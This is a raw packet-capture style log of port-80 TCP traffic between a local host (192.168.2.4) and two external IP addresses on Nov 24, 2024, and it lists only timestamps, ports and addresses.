Nov 24, 2024 12:24:24.441848040 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.442656040 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.442759037 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.442795038 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.443514109 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.443566084 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.443608046 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.444442034 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.444503069 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.444519043 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.445348024 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.445447922 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.445508003 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.446254015 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.446300030 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.446384907 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.447164059 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.447216988 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.447278976 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.448163033 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.448199034 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.448251009 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.448266983 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.448314905 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.448343039 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.448390961 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.449003935 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.449054003 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.449101925 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.449953079 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.450006962 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.450047970 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.450809956 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.450872898 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.450895071 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.451719999 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.451822996 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.451848984 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.452744961 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.452788115 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.452805042 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.453619003 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.453666925 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.453748941 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.454528093 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.454577923 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.454659939 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.455446959 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.455492020 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.455533981 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.456267118 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.456311941 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.456378937 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.456567049 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.456583023 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.456624031 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.457169056 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.457238913 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.457285881 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.458107948 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.458148003 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.458193064 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.458997965 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.459099054 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.459162951 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.459942102 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.459994078 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.460061073 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.460863113 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.460958004 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.461658001 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.461741924 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.461787939 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.461841106 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.462764025 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.462806940 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.462882042 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.463589907 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.463638067 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.463773012 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.464874983 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.464921951 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.464927912 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.464977026 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.465013981 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.465029001 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.465056896 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.465379000 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.465419054 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.465529919 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.466334105 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.466399908 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.466497898 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.467200041 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.467286110 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.467334986 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.468116045 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.468162060 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.468226910 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.469039917 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.469090939 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.469276905 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.469949007 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.469990969 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.470033884 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.470845938 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.470891953 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.470953941 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.473257065 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.473295927 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.473362923 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.473427057 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.481738091 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.481791019 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.481821060 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.481878996 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.490091085 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.490149021 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.490195990 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.490261078 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.498513937 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.498563051 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.498604059 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.498656988 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.506889105 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.506944895 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.506987095 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.507029057 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.514242887 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.514300108 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.514321089 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.514338970 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.521456957 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.521696091 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.521739006 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.522129059 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.557667017 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.558459044 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.574861050 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.574976921 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.575030088 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.575334072 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.575484991 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.575525999 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.576245070 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.576348066 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.576791048 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.577151060 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.631514072 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.633094072 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.633155107 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.633205891 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.633502960 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.633621931 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.633661032 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.633855104 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.633955002 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.634011984 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.634061098 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.634397030 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.634623051 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.634660959 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.635245085 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.635411978 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.635416985 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.635435104 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.635461092 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.635591984 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.635632992 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.636245012 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.636389971 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.636428118 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.637170076 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.637290001 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.637373924 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.638039112 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.638199091 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.638237953 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.639028072 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.639214039 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.639259100 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.639673948 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.639723063 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.639802933 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.639844894 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.639885902 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.639930964 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.640086889 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.640767097 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.640928984 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.641618013 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.641693115 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.641807079 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.641846895 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.642601013 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.642719984 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.642761946 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.643074989 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.643129110 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.643142939 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.643182993 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.643543005 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.643868923 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.643944979 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.644473076 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.644593954 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.644829035 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.645349026 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.645503044 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.645591021 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.646289110 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.646378994 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.646430969 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.647180080 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.647320986 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.647542000 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.647589922 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.647701979 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.647732973 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.647746086 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.648108959 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.648164988 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.648972988 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.648983002 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.649102926 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.649152994 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.649945974 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.650037050 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.650077105 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.650796890 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.650984049 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.651027918 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.651727915 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.651827097 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.651938915 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.651968002 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.652034044 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.652064085 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.652144909 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.652630091 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.652734041 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.652772903 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.653556108 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.653651953 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.653695107 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.654459953 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.654582024 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.654633045 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.655359030 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.655438900 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.655484915 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.656728029 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.656970024 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.657036066 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.657052040 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.657066107 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.657092094 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.657105923 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.658113956 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.658163071 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.658431053 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.658679008 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.658785105 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.659004927 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.659434080 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.659514904 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.659559965 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.660063028 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.660165071 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.660291910 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.660830975 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.660890102 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.660906076 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.660932064 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.660959005 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.660964966 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.661005974 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.661763906 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.661869049 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.661909103 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.662632942 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.662753105 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.662794113 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.663567066 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.663621902 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.663664103 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.664520979 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.664602995 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.664655924 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.665462971 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.665518999 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.665534973 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.665570974 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.665628910 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.665673018 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.666337013 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.666441917 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.667231083 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.667284012 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.667385101 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.668339014 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.668394089 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.668462992 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.669065952 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.669118881 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.669158936 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.669687986 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.669740915 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.669794083 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.669826031 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.669841051 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.669949055 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.670082092 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.670130968 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.670905113 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.670977116 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.671026945 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.671859026 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.671941042 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.671986103 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.672687054 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.672754049 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.672818899 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.673593998 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.673721075 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.673765898 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.674133062 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.674176931 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.674268007 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.674316883 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.674494028 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.674642086 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.674686909 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.675493956 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.675662041 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.675713062 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.676316023 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.676440001 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.676481009 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.677241087 CET	80	49792	34.116.198.130	192.168.2.4
